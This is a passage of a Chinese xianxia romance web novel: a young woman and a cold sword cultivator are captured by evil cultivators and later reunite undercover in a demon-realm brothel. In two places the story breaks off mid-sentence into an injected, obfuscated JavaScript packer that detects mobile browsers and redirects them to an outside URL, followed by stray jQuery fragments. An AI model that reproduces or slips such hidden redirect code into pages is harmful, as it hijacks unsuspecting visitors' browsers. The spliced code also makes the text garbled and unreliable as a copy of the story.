修太上忘情的人性格多多少少有点古怪,索性不是什么大事,清玄就遂了辰瑄的意。 两人不紧不慢地跟在殷稚鱼身后,或许是考虑到他们刚刚打斗了许久,少女刻意放慢了速度,跟上去并不困难。 不知道走到什么地方,角马前蹄踩到的地方忽然一塌,连带着整片区域都跟着塌陷,殷稚鱼反应极快,立刻就要从角马身上跃下,却发现周身灵气都被封锁。 以她为开端,后面遇见的清玄和辰瑄也遇见了状况,长剑直直下坠,难以控制地落入黄沙之中。 轰隆—— 整片地域,都瞬间下塌,化为一个巨坑。 “咳咳。”殷稚鱼被呛得不断咳嗽,少女指尖一拂,原本想要将角马收入灵兽袋之中,却发现无法做到,脸色立刻难看了下来,“是锁灵阵,是谁,费尽心思布置了这样大范围的阵法?!” 清玄灰头土脸地爬起来,“云珩,你感觉如何?” 尝试了几次都无法调用任何灵气的辰瑄摇了摇头,神色露出几分凝重来。 上面的坑底显现出几道身影,他们扬手,巨网如同捕鱼一般落下来,将下面三人牢牢罩住。 他们周身浮动着晦涩阴冷的气息,半张脸覆盖着可以隔绝神识窥探的面具,清玄反应很快,立刻就认出了他们,“是那伙邪修?” 他心中不妙的预感愈浓,清玄想到了那伙邪修可能会对他们下手,但没想到对方动作那么快,根本没有多观察几天就心狠手辣地全都下了手。 巨网收紧,殷稚鱼被迫和另外两人滚在一起,她被甩进了辰瑄的怀里,少女下意识地想要寻找支撑点爬起来,掌心却按在了辰瑄的小腹上,呆了呆。 虽然大大咧咧,但这还是殷稚鱼第一次和陌生男子离得那么近。 黑斑蛇的血型气味早已被清洁咒驱散干净,只剩下他原本的气息,清淡的泽兰香,温雅而又柔和。 辰瑄本能地想把怀里的女孩推开,然而这张网里的位置就那么大,殷稚鱼的额头重重地磕在清玄的背上,和角马脸贴脸,失去了灵力护体的清玄发出了一声惨叫,被直击要害,“……云珩,你们在搞什么?” 他艰难地想要转头,却因为不断乱动的角马难以成功。 殷稚鱼又栽回了辰瑄的怀里,像是炮弹一样冲进了少年的怀里,两个人几乎叠在一起,女孩偏过头,有些恼怒地强调,“不许再推我了。” 璨金的日光透过巨网投入,裁剪出无数不规则的方格痕迹,落在她的额头上,偏过来的半张脸显得格外精致,睫毛毛绒绒的翘起,滤着如同金砂般璀璨的光影,明丽如同不会凋谢的永日葵。 辰瑄想要再次推人的动作顿住,僵硬得不知道该怎么行动,只能有些尴尬地咬着唇角,耳垂漫上些许胭脂般的色调。 殷稚鱼却没发现这些,她不可能坐以待毙,刚才听清玄喊破这群人邪修的身份,说明他们身份不对劲,女孩眼珠咕噜噜地转,在巨网脱离沙坑的时候,手一扬,腕间挂着的金色铃铛瞬间脱手而出,轰然炸开。 砰—— 一声巨响,巨网被炸破一个大洞,殷稚鱼选的这个位置很巧妙,角马是灵兽,就算体内灵力被限制,体质终究还是比他们要强,所以铃铛在它身前爆炸,它抗下了大半伤害,发出一声忍痛的低吼。 而其次的就是和角马贴在一起的清玄,虽然冲击力有点强,但并未对他造成太大伤害,还在晕头转脑之际,殷稚鱼就急急地把他和角马一起推出去,“快走。” 爆炸发生得猝不及防,殷稚鱼估计邪修现在可能没有反应过来,但等会就不一定了。 清玄反应也很快,他骑在角马身上,稳稳地落地。 殷稚鱼拽了下辰瑄的衣袖,急声催促,“快点出去。” 辰瑄早就在清玄出去的时候就做好了准备,却没想到被殷稚鱼拽得踉跄了下,女孩的力气很大,直接将他从网中拽出来。 猎物逃走了,邪修也瞬间做出了反应,这个锁灵阵的范围也不知道有多大,不仅限制了清玄他们的灵气,对他们也同样有效,但是邪修握着一把一看就充斥不详气息的长鞭,仿佛有冤魂嘶鸣,发出听不见的声波,殷稚鱼身体一凉,虽然是在沙漠,但她却感觉到自骨血中蔓延而出的冷意。 她目光牢牢地落在那条鞭子上,眸光越发冰冷。 这条长鞭的炼制,可能是融入了无辜百姓的灵魂,用他们祭炉。 这些人,实在该死。 只是他们现在没办法使用灵气,而邪修不仅人比他们多,那条鞭子也比他们手上的本命剑厉害。 僵持了一会,殷稚鱼心里有了成算,他们被包围得逐渐缩在一起,少女猛地扬手,一脚踹在了角马的腿上,“快走。” 一切动作只在眨眼间发生,角马听懂了主人的意思,低下头猛然朝一个方向冲去,邪修看他们自投罗网,唇角溢出一声冷笑,原本想要一鞭子将角马绞杀,顺带着捉住角马背上的正道修士,却没想到眼前豁然又炸开一颗铃铛,为角马和清玄争取到了短暂的逃脱机会。 只一迟疑,角马就已经撞开邪修,带着背上的清玄跑远。 它的脚程极快,不过片刻就逃出了邪修的追捕范围。 “步姑娘,云珩。”清玄心一紧,他原本想要跳下角马去帮助殷稚鱼和辰瑄,但是理智还是压过了冲动,他现在灵气被锁,直接回去的话,就是被捕的人多他一个而已。 只有回去找到援兵,才能救下殷稚鱼和辰瑄。 殷稚鱼摸了摸自己空荡荡的手腕,她手上的铃铛一共就两颗,都是特别定制以防万一的法器,比较贵,现在全部用出去了,而她剩下的法器都被锁在芥子袋里,也就是说,她现在除了手上的剑,就真的空无一物了。 “他跑了,你们可跑不掉。”其中一名邪修冷笑一声,发出粗嘎的嗓音。 他的声线很奇怪,像是沙砾磨过,极其难听,阴沉沉的。 殷稚鱼输人不输阵,叉着腰反驳,“那又怎么样,等他找人回来就可以将你们直接一锅端。” 少女笑意透出凛冽决然的杀气,“这些年,你们恐怕也残害了不少赤火城的百姓吧,就拿你们的命来赎罪吧。” 邪修握紧手上的长鞭,他们的存在本就隐秘,若是被正道发现,下场可想而知。 想到这里,他眼中的狠意就更浓,若不是殷稚鱼从中作梗,怎么可能让清玄逃掉。 偏偏这两个人暂时不能动,如果正道找上门来,他们就是人质。 “步姑娘,”辰瑄及时拉过殷稚鱼,挡住了抽向她的长鞭,对方多少带点个人恩怨,那根长鞭抽的是殷稚鱼的脸,“小心。” 殷稚鱼倒吸了一口凉气,在心里腹诽了一句,这个邪修也太记仇了。 那根鞭子看起来就不是什么好东西,她根本不敢想被抽中脸的下场。 他们只有两个人,还被封了灵气,其中的辰瑄更是在斩杀黑斑蛇中出力良多,导致他们根本没有撑多久,就被捆成整整齐齐的两个粽子。 殷稚鱼蔫头耷脑,有些后悔接下这个任务了。 好坑。 太阳火辣辣地照下来,修道者的体质比凡人要更加强劲,但晒久了,殷稚鱼还是感觉到肌肤微微的刺痛。 她干脆躺平,两眼空空,浑然一条没了梦想的咸鱼。 之前和殷稚鱼对骂过的邪修用鞭子柄拍了拍少女的脸,笑得不怀好意,好像是在考虑要从哪里下手。 殷稚鱼默默地往辰瑄的位置靠了靠,嫌弃地避开他的触碰,音色极凉,“你敢动我?” 她弯起唇,虽然不喜欢步家这个名头,但是该用的时候她也不会含糊,“我是楚州步家的嫡系,如果你们要对我下手的话,要考虑好承不承受的住我母亲的报复。” “对了,”她补充,唇微微咧开,露出一点雪白的,尖尖的虎牙,可恶又嘲讽,“我的母亲,步家现任家主,不仅记仇,下手还很狠辣。” 邪修的鞭子停在离殷稚鱼半寸的位置,又恨恨地收回来。 楚州步家,传说中继承了上古神族血脉的家族,虽然不是真正的神族,但是在神族避世的当今,它的地位同样超凡。 虽然神的血脉随着一代又一代的传承日益稀薄,比不上真正强大恐怖的神族,但是步家发展万年,天骄频出,拥有格外恐怖的底蕴。 邪修并不想招惹步家这样的庞然大物,现今的步家家主做事果决狠毒,如果对方招惹了她,那么她宁可拼着两败俱伤也要将人斩草除根,也因此,敢于招惹步家的人越来越少。 他猛然收回长鞭,气急败坏地对同伴说,“跑了一个人,我们先把这俩人带回去,给老大交代吧。” 同伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351799|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头,虽然暂时不会伤害殷稚鱼和辰瑄,但是作为俘虏,两人显然也不会有什么好的待遇。 他们直接用了药,将两人放倒。 殷稚鱼眼前一黑,很快就不省人事了。 邪修这样做,明显是不想暴露他们的窝点位置。 嘀嗒。 清晰的,幽冷的水声在耳畔响起,殷稚鱼醒过来的时候,因为药效的缘故,脑子还有些昏昏沉沉的。 她倒是没有再被锁,只是手腕上带上了限制灵气的手铐。 殷稚鱼盯着不知道什么材质的手铐看了一会,很希望自己的意愿能够融化它。 可惜幻想失败,她低低地叹了口气,她在赤火城里待了那么多年,不知道赤火城里竟然还有这样的地方,潮湿又阴暗,他们应该是被扔在了地牢里,房间没有窗户,脏兮兮的,又暗又小。 也没有人看守他们,可惜灵气被锁,芥子袋不能用,殷稚鱼也逃不出去。 殷稚鱼垂下眸,辰瑄和她同病相怜,少年嗓音清冷地问,“步姑娘现在感觉如何?” “我没事,”她忽然想到了什么,又支起脑袋,关切地问,“你的同伴,会来救我们吗?” 可不要她大费周章地送清玄出去,就送了个废物。 “会,”辰瑄语气肯定,“我身上有追踪的信物,只要清玄找到人,就一定可以来救我们。” 这也就是辰瑄反抗得没有太激烈的原因,与其费尽心思地找邪修窝藏的地点,不如清玄带人顺藤摸瓜地找来,直捣黄龙,争取一锅拿下。 殷稚鱼有些不放心,但现在这个情况,只能寄希望于清玄身上了。 她恹恹地唔了一声。 地牢僻静又阴冷,牢房太小,两人挨得很近,辰瑄察觉到身旁的姑娘似乎在微微发抖,掀眸看过去,确切来说,殷稚鱼是被他们连累的,因此少年总有些自责,“步姑娘,你不舒服吗?” “不是,”殷稚鱼脸色苍白,她的眸光有些失神与空洞,锁铐沉重,但并不影响他们的行动,少女抱着膝盖,将脸贴在冰冷的锁铐上,鼻腔萦绕着淡淡的,腐朽的血腥气,“我只是,有一点怕黑而已。” 辰瑄垂眸,忽然伸出手。 殷稚鱼怔忪,不太明白他想干什么。 光线幽沉,少年的手掌在逼仄的空间里显出一点雪白如羊脂玉的色调,又似无暇的冰雪,他掌心亮起一点橘黄的灵光,“现在呢,还是很怕吗?” 他侧过半张脸,幽然如萤火的光影中,半张脸精致绝美,浅笑也温和,像是谪仙落入凡间。 殷稚鱼怔怔,眼睛被火光点亮,她小声地问,“云珩道友,是可以使用灵气了吗?” 辰瑄的灵气,是什么时候恢复的? “没有,”辰瑄否认了殷稚鱼的猜测,“只是我功法特殊,但也只能调用出这一丁点灵气。” 殷稚鱼有些失望,很快又释然。 她往火光的位置凑近了一点,眉眼弯弯,睫发清晰,“谢谢。” 她柔软的嗓音在缥缈的火焰中像是一个不真切的梦,模拟出另一个步胭来,没有客套假意的笑,也没有尖利的刺,像是刺猬敞开脆弱的肚皮,抱住了来人的手掌。 那样的乖,几乎像是幻觉。 像是抱薪取暖的旅人,又或者蜃楼里昙花一现的幻想。 她汲取着虚假的光和热,靠得越来越近,纱裙萎靡在湿冷的地面上,柔软得像是无害的小动物,让辰瑄忽然很想摸一摸她。 时间过得太慢,也太安静,殷稚鱼忽然有了倾诉的欲望,她音量并不大,自顾自地说,“我小时候,我父亲不太喜欢我。” 陆云珩性格清冷,虽然是座万年不化的冰山,但是并不会刻意忽视他人,嗯了声,代表自己在听。 辰瑄投来视线。 女孩浅浅的笑了下,额间的玛瑙坠子沉甸甸地晃,红如血泪。 “你大概,也听说过我的故事吧?” 她垂下眼。 辰瑄:“确实。” 他斟酌了一下言辞,“步前辈那件事,当年闹得挺大的。” 他说的还是委婉了,步家家主这样处处受人关注的人,和她有关的风月故事一传出来,立刻传遍了九州五岛。 步胭的生父死得太显眼,他性格偏执扭曲,若是得不到步家家主,就要她一辈子记得他。 他确实做到了。 谋害年轻天骄,对步家家主连下了十八道追杀令,赏金上不封顶,大费周章弄到了她的一滴精血,孕育出属于他们的后代,可以说是罪无可赦。 也就是因为生父太过不堪,所以步胭回到步家后,并不受欢迎。 步家长老总觉得步胭继承了生父的血脉,未来可能成长为和她一样的人。 步胭性烈如火,从来不会委曲求全,因此后来与步家家主发生矛盾后就与步家断绝了关系,在外闯荡至今。 殷稚鱼凝视着火焰,平静地说,“他爱我,又嫉妒我,早就疯了。” 步胭的生父爱她,是因为她继承了步家家主的血脉,可他同样嫉妒女儿,为什么可以是她的孩子。 那么扭曲的,疯癫的感情,让年幼的步胭根本无法理解。 也因此,小时候的步胭一直都是在地下室长大的。 她的父亲清醒时会带她出去看看太阳,犯病的时候则会将她锁在地下室,喋喋不休地叙说他无望的爱意。 真是难以想象啊,她的父亲那样疯狂地爱着她,又恨着她,感情极致得如同精神分裂。 这也从此,种下了她对于阴暗狭小房间的恐惧。 步胭准确来说,并不是怕黑,而是怕被关在没有光的逼仄房间。 她最大的梦魇,是小小的地下室,和父亲那张因为扭曲变形而丑陋不堪的面容。 她微微弯下眉眼,微圆的眸尾浅淡舒展开来,勾勒出一点灿然的笑意,认真地说,“云珩道友,你真的是一个好人。” 24. 告白 殷稚鱼的声音并不大,低低地,安静地响起,几乎像是辰瑄臆想出来的幻觉。 她神色很快收敛起来。 步胭不会向陌生人示弱。 向一个不清楚底细的人展现出自己深藏于心不可言说的软肋,几乎就如同亲自呈上自己的弱点,让他可以在必要时刻一击毙命。 她有些懊恼。 但是辰瑄并没有对此发表什么意见,怜悯,同情,和嘲笑都不是步胭需要的情绪。 骄傲如她,宁可毁灭自己,也不想看到来自旁观者的同情眼神。 辰瑄:“已经过去了,步姑娘。” 他音色静冷,有种事不关己的平静淡漠。 殷稚鱼抱着膝盖沉默了一会,又笑了下,“确实过去了。” 女孩偏过头,严肃着一张脸,“小冰块,我发现自己好像对你有点动心怎么办?” 辰瑄整个人都顿住了。 陆云珩修太上忘情,师尊与掌门耳提面命,恨不得每天跟在他耳边叮嘱,绝不可动情,一旦动情,他这一身功法都将毁于一旦。 “步姑娘,”少年侧过脸,语调冷淡,“你妄言了,我并没有寻找道侣的准备。” 殷稚鱼音调拖长,仿佛恍然大悟一般哦了一声,“没关系啊。” 女孩弯起眼,“我也不准备寻找道侣,云珩道友,我们来谈一场说结束就结束,不必负责,以后见面就当不认识的感情如何?” 辰瑄:“……” 他被殷稚鱼的渣和厚脸皮给震惊到了。 殷稚鱼这话的意思不就是,只要她腻了就可以随时翻脸不认人,比合欢宗那些只图身子的媚修还要渣。 辰瑄闭上眼,全当没听见。 反正看殷稚鱼这个意思,也不像是认真说的。 殷稚鱼打了个哈欠,有些困了,或许是因为身旁有了其他人,不像是之前那样只有自己一个人独自关在地下室里,因此即便地牢阴暗又潮湿,浑身灵气被锁也不知道能不能逃出去,她依旧打起了瞌睡,陷入一场酣甜的睡眠中去。 她是被吵醒的。 地牢门被豁然打开,一阵急匆匆的脚步声夹杂着说话声响起,殷稚鱼警惕地睁开眼,她下意识地看了旁边的辰瑄一眼,对方望着声响发出的地方,似乎一直醒着。 和半路睡着的殷稚鱼相比,辰瑄显得靠谱很多。 “云珩。”清玄匆忙地走进来,衣袍带血,周身凛冽的剑意未散,谁都看得出来他刚刚经历了一场大战,见到辰瑄和殷稚鱼都完好无损地待在地牢中时,他明显松了口气,“还好,你们都无事。” 他身旁还跟着几个人,不认识步胭,略有些意外,“这位姑娘是?” 清玄之前是因为步胭才获救,对她十分感激,连忙解释,“步胭姑娘是我和云珩在赤火城里认识的道友,她十分热心肠,之前多亏了她,我才能逃出来给你们报信。” 同门恍然,上前帮忙,掰断地牢的栏杆,将辰瑄和殷稚鱼放出来。 在里面待了相当长的一段时间,殷稚鱼状态有些萎靡,她抬了抬手腕,沉重的镣铐碰撞出低哑的闷响,“这个东西,你们解得开吗?” “当然可以。”和清玄一起来的同门都是正道派来的弟子,都是宗门里精挑细选的天骄,修为高深实力强大,自然不会将镣铐放在眼里,青年握住镣铐,没有解开,而是硬生生将它捏碎,并且小心避开了殷稚鱼,以免伤到她。 双手解脱的殷稚鱼揉了揉手腕上被压出来的红痕,笑眯眯地夸赞,“你们真是好人。” 对方给她夸的有些不好意思,挠了挠头。 “这次是我们连累了步姑娘,帮步姑娘解绑也是应该。” 一旁的辰瑄刚好看到这一幕,讥讽扯了扯唇角。 这就是她所谓的喜欢吗? 所以,果然是骗他的而已。 清玄看到辰瑄一身凉意,活像是有人惹这尊祖宗生气了一样,奇道,“云珩,你怎么了?” “没事,”辰瑄轻描淡写地扯开话题,“那伙邪修怎么了?” 清玄没有细想,注意力落在辰瑄的话中,语气沉重了起来,“那伙邪修都被解决了。” 顿了顿,他说,“他们残害了不少百姓,我们出手还是晚了。” 几人离得近,殷稚鱼当然也听到了清玄和辰瑄的交流,响起邪修使用的,散发着阴冷气息的长鞭,“还有人活着吗,他们怎么样了?” 她在赤火城里待了好几年,赤火城虽然偏僻,但是民风淳朴,对于她相当热情,日积月累的相处下来,殷稚鱼是真的把赤火城的人当做家人。 “还有人活着,”回答殷稚鱼的是之前帮她解开镣铐的青年,“只是他们情况也不太好,已经送去赤火城里接受治疗了。” “我能去看看吗?”殷稚鱼心急如焚,递出询问话语。 “当然可以,”同门笑道,“步姑娘如果不清楚具体位置的话,我可以带你去。” 辰瑄又看了相谈甚欢的两人一眼。 最后还是清玄自告奋勇,“还是我去吧,你先去忙吧。” 同门也不和清玄争,捣毁了邪修这么大一个窝点,正道现在忙着呢,清玄受了不轻的伤,也就他有时间可以到处闲逛。 最后还是清玄领着殷稚鱼去看了一眼百姓,他们被邪修关了一段时间,虽然侥幸没死,但是身心都受到了相当的创伤,尤其灵魂,需要一段时间好好休养。 但不管怎么样,人至少还活着。 殷稚鱼松出一口气。 她这段时间忙得团团转,好不容易找到缝隙喘口气,清玄找上了她,“步姑娘,我和云珩打算离开赤火城了,现在向你辞别。” “?”角马之上的少女微微侧过身,角马之前驮着清玄跑出去,它在打斗中也受了伤,好在灵兽自愈能力强,伤好之后又回到了主人的身边。 少女赤红的裙裾如同榴花般在角马的两侧荡开,露出一截白皙纤细的脚踝,套着纤细的金环,脚环微晃,几乎要晃花人眼,黑发梳成长辫垂下,依旧是明丽灿艳得让人难以直视的容貌。 她侧坐在角马背上,双手撑着角马,坐得摇摇晃晃,“一路顺风。” 殷稚鱼的视线落在辰瑄身上,他淡声,仿佛陌生人一样告辞,“步姑娘,再见。” 殷稚鱼抿了抿唇,有些不爽他这样冷漠的态度。 好在也是过命的交情,为什么辰瑄就这样淡漠。 她忽然倾身,腰身倏然下折,弯曲到柔软得不可思议的弧度,如果是普通人的话,估计这样一遭会直接滚下马,可她是修道者,因此依旧稳稳地趴在马上,金环与玛瑙坠子一齐晃,直勾勾地盯着辰瑄,仿佛一副活色生香的美人丹青。 “喂,小冰块,你怎么这么冷淡?” 她勾着眸尾,含着促狭的,戏谑的笑意。 旁边的清玄惊愕地瞪大眼睛,嘴也被惊得张大,他明明一直和辰瑄待在一起,也就他和殷稚鱼一起被邪修带走的时候分开了一天,这俩人到底是什么时候这么熟的。 她伸手,这次被辰瑄敏锐地避开了,少年身姿挺拔修长如雪松,嗓音淡冷平静,隐含警告,“步姑娘,别碰我。” 殷稚鱼啧了声。 她脸上笑意漫开,明艳艳的。 “那可不行。” “小冰块,我们以后见。” 她又直起腰,好整以暇地坐在角马背上。 “等我去追求你啊。” 清玄嘴张得可以塞进一个鸡蛋,像是被雷劈了一样,整个人都傻了。 他听到了什么? 追求? 陆云珩和步胭到底是什么时候发展到了这一步,他明明记得陆云珩修的是冰心绝情的太上忘情。 少年睫毛颤了一下,没说话,只是漠然转身,淡淡地招呼,“清玄,走了。” “哦哦。”清玄回过神来,连忙追上去,顺便用敬畏的目光最后看了一眼这位敢于追求大冰山的勇士。 殷稚鱼并不在意辰瑄的态度,笑得好看,离得远了,辰瑄依旧能感觉到那股视线牢牢地落在自己的背上,透着些许漫不经心,却又十分认真。 直到离开了殷稚鱼的视野,感受不到那股视线了,辰瑄才放松了僵硬的身体,旁边的清玄欲言又止,“云珩……” “没什么。”辰瑄注视着前方,目不斜视,“我和步胭,什么都没有。” 清玄感觉自己憋得难受,可是辰瑄话都说到这个份上了,他也只能吞下自己的疑惑,不再发问。 收尾的活有其他人去干,辰瑄顺利完成了自己的任务,即便是中间发生了一些小波折,但是影响并不大。 他的师尊关切地问了句自己最得意的小弟子,“这次任务解决得很成功,云珩,你感觉如何?” 他本来是想关心一下陆云珩的,毕竟他不仅是自己的弟子,还是上清宗道子,未来的宗主,身上的责任巨大,只是他是陆云珩的师尊,和他一样,修太上忘情,平时情绪淡漠,因此关心也疏离,话说出来显现出几分客套。 辰瑄略有些走神,忍不住响起少女靠近他时柔软的长发,与含着笑的嗓音。 他指尖轻动,最后还是什么都没说,“没事。” “师尊,”冰雪般的少年开口,“我准备入寒池闭关几月。” 陆云珩师尊将剩下的话语吞下去,有些奇怪,“怎么这么着急?” 辰瑄郑重地说,“此番我和清玄差点陷入了邪修的陷阱,这是我实力不足的问题,所以我想要尽快提高实力。” 陆云珩师尊没多想,正色道,“寒池毕竟是外物,且寒气太重,所以你不可多待,小心被反噬。” 辰瑄点头。 陆云珩师尊抛开袖角,没再多叮嘱,他也相信陆云珩心里有数,“去吧。” 清玄回到乾虚派,处理完自己的事情就来到了上清宗,原本想找陆云珩谈谈步胭的事情,没想到却收到了陆云珩入寒池闭关修行的休息,有些傻眼,“怎么这么仓促?” 陆云珩师尊却很欣慰,“云珩一心修行,是好事。” 清玄忍住自己差点脱口而出的话语,并没有向陆云珩师尊提起自己无厘头的猜测,“也好。” 或许是自己多想了,陆云珩和步胭之间,或许只是步胭一时心血来潮而已。 以后不再见面,这点冲动,应该很快就会散去了吧。 辰瑄在寒池里修行了半年,后来又回到自己的洞府闭关,一闭就是十年,修为越来越强。 他此次出关,又领了一个任务。 即便是好苗子,宗门也不能将他们一直拘在宗门里,那样只会耽误他们的天赋,不过陆云珩师尊对他相当放心,只略略叮嘱了一番就放他离开了。 他这次领的任务和魔修有关,少年整装仪容,装成魔修,去调查楚州庄家被灭门一事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15356621|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这件事调查到最后,牵扯了魔界。 魔族另辟一界,与整个九州五岛都划开界限,自从上任魔神陨落之后,魔族再也没有捣乱的精力,无法重现上古魔族的辉煌,现任魔尊只是勉强维持着魔族的统治,但魔族自身并不和平,相反,几股势力分裂,而他们此番的线索,就牵扯到北魔君手下的左护法。 他花了些时间,和左护法最宠爱的幼子南沧搭上了线,并且很快就和他称兄道弟。 南沧心思单纯,虽然在尔虞我诈的魔族中长大,但因为有父亲的护佑,至今还是个好骗的傻白甜,在辰瑄的有意下,将他视为最好的朋友,并且热情地对他发出了邀请,地点是当地最大的青楼。 辰瑄:“……” 他沉默了一会,还是咬咬牙去了。 南沧是秦楼楚馆的常客,魔族生性风流,放荡不羁,因此他对青楼并不忌讳,但是辰瑄不同,长到现在的年岁,他甚至连女子的手都没有牵过,因此表现得格外僵硬。 魔族女子大胆妩媚,见她们烟火之地的贵客和一个气质清冷的少年走进来,立刻就笑盈盈地迎上去了。 浓烈的脂粉味呛得辰瑄几乎无法呼吸,当花娘想要触碰他的时候,他瞬间后退,拉开了一米多的距离,抿着唇表情难看。 花娘狐疑,“这位公子,是魔族吗?” 南沧也抽回了和花娘调笑的手,表情怀疑,“云兄,你这是?” 辰瑄张了张嘴,还没有编好借口,就听到一道清脆的嗓音悠悠地从楼下传来,“他当然不能碰你。” 隔了十年,但依旧熟悉的嗓音。 辰瑄一怔。 那道身影拂开纱帘,轻快地走下来,这次和在赤火城中不同,少女身上没有那么多珠宝首饰,慵懒地倚着栏杆,长发垂至小腿,即便身无长物,依旧显出一种贵气的美艳来,和那些娇媚的花娘一点都不同。 南沧也被惊艳住,他咽了咽口水,“这位姑娘是?” 殷稚鱼噔噔噔地小跑下来,脚步轻快,缠绕在臂间的红纱一晃一晃,如同流水花海般迤逦垂落,她笑魇如花地站在辰瑄身旁,察觉到辰瑄想要躲避的心思,警告地瞪了辰瑄一眼,随即亲密地挽住辰瑄的手,红唇一弯,就是甜蜜如糖浆的笑意,“我叫阿胭,是云公子的老相好。” 她抛了个媚眼过去,笑吟吟地问,“是不是啊,云公子?” 辰瑄隐忍闭了闭眼,语调僵硬,“是。” 虽然南沧看得出两人有些疏离,但是辰瑄却默许了殷稚鱼的靠近,可见两人之前一定认识,他有点信了殷稚鱼老相好的说辞,虽然有点可惜这样出挑的美人自己碰不了,但云兄毕竟是自己现在最要好的兄弟,他也没必要为了一个女子和他闹翻。 心思稍微敛,南沧反而对步胭和陆云珩的过往有些好奇。 他试探性地问,“阿胭姑娘和云兄,是闹了矛盾吗?” “是啊,”殷稚鱼笑,随口就编出一套瞎话,“我和云公子几年前认识的,本来两情相悦,但是……” 她适时垂眸,露出哀怨神色。 南沧很快就脑补出合适的理由,理解的哦了声。 花娘看着自己看好的猎物被殷稚鱼抢走,恨恨地咬了咬牙,却碍于老鸨最近格外倚重这个来历不明的阿胭,有气也不敢发,只能把火憋回肚子里。 殷稚鱼可不管她在想什么,轻咳了声,“我和云公子也许久未见了,南公子可否让我二人单独找个机会叙旧?” 南沧露出一个暧昧的笑,大度地摆了摆手,“阿胭姑娘去吧。” 殷稚鱼对他表示感谢,拉着辰瑄就往楼上走。 淡粉的纱幔翻飞垂落,恍若一只只纤巧蹁跹的蝶,柔和清雅的熏香袅袅升起,弥漫在房间中,味道甜腻。 殷稚鱼关上门,松开辰瑄的手臂,熟练地解释,“在里面说话他们听不见,可以放心。” 辰瑄的视线落在她身上,花娘的服饰都有些清凉,殷稚鱼这套已经是修改过了的,与其他花娘比起来好很多,但辰瑄还是觉得仿佛被烫了一下,他连忙移开眼,貌似无事地问,“步姑娘怎么会在这里?” 殷稚鱼在桌前做下,拎起茶壶给自己倒了杯茶,顺带吃了半块点心,含糊不清地说,“你怎么在这,我就为什么在。” 她将点心全部塞进嘴里,咽下,有些不太喜欢魔族的口味,嫌弃地撇了撇嘴,解释得更加详细了一点,“楚州的庄家,是我母亲的外家,庄家出了事,她自然不能袖手旁观,于是将我派来了清北城。” 辰瑄听出了什么,“步姑娘,与步前辈的关系,似乎是缓和了许多?” 殷稚鱼托着腮,散漫地叹出一口气,“毕竟是我亲娘,血缘关系难以割舍,我又不能割肉还亲,结束这段关系。” “现在和她相处的只能说不冷不热,当然,她要是不催我成亲,给我介绍世家公子就更好了?” 辰瑄微微诧异。 成亲? 他没想到,步家家主竟然还执着于让步胭成亲,她年纪还那么小,根本不需要着急成亲。 “步前辈是有成婚人选了吗?” 殷稚鱼侧过半边视线,懒洋洋地道,“不知道,不关心,不认识。” 她忽然凑近,像只狡黠的猫,问,“陆云珩道友,你很关心这件事啊。” 她眸里笑意绽开,歪了歪脑袋,“你这么介意的话,那你娶我如何?” 25. 做戏 辰瑄蹙了下眉,“步姑娘不要说笑了。” 殷稚鱼哀怨地捧着脸,长长地叹出一口气,“需要的时候亲亲热热喊人家阿胭,不需要了就喊步姑娘,好无情啊。” 辰瑄:“……”他明明没有叫过,他从来都是叫的步姑娘。 少年隐忍地闭了闭眼,懒得搭理殷稚鱼的欲加之罪。 过了一会,辰瑄开口,“我还需要在这里待多久?” 殷稚鱼敲了敲桌面,指骨屈起,懒洋洋地说,“不出预料的话应该是一晚上。” 她侧过半张脸,“或许,你现在很想出去,去加入南沧?” 辰瑄:“……那还是待在这里吧。” 殷稚鱼有些想笑,唇弯到一半却忽然凝滞住,她急急地伸手去扯辰瑄的衣角,少年不明所以,皱眉想要躲开她的触碰,却听到殷稚鱼压低的,急切的嗓音,“快点,有人在观察这里的动静。” 她掐了个诀,撤掉房间里的符箓,附耳低声,“南沧还是起疑了,派人过来确认,现在,你按我说的做。” 辰瑄呼吸微窒,他在这方面完全没有经验,只能听殷稚鱼的。 这间房间非常符合花娘的审美,艳色轻纱,营造出半掩琵琶的朦胧妩媚风情来,灯烛也半明半昧,大床四周挂着许多精致古朴的铜铃,还有层层叠叠的纱,柔软地垂落下来。 殷稚鱼潜入花楼分外小心,在房间四周都布置了好几个隐秘的法器,用来观察周边的动静,因此南沧派来的人虽然擅长隐息术法,但还是第一时间就被她察觉到了,怕对方发现异常,她拉着辰瑄坐在了床上。 女孩指尖抵住唇,做出一个噤声的动作,“先别说话。” 辰瑄还是第一次面临这样的情况,整个人都快要僵掉,自暴自弃地松开手,“步姑娘,你怎么说,我就怎么配合。” 殷稚鱼对他的配合十分满意,她思索了一下,面前这个人是张白纸,如果让他主动的话,结果一定是两人手牵手,集体翻车。 殷稚鱼不想刚潜进来任务还没做几天就暴露,还要等步家家主来捞,那太丢人了,所以,只能她来主动了。 她将人按在床铺上,拎着裙裾,仿佛与心上人欣喜相拥一样,跪坐在他腿上。 辰瑄实在没忍住,下意识地就想要去抽剑,却被殷稚鱼按住手,女孩恶狠狠地瞪着他,用眼神说话,让他别轻举妄动。 辰瑄:“……”他为什么要接这个任务。 房间里竖着一张屏风,隐隐绰绰,辰瑄不小心看了一眼,又像是被烫到一样火急火燎地收回视线,魔族果然开放,这个青楼的屏风上画的竟然是避火图。 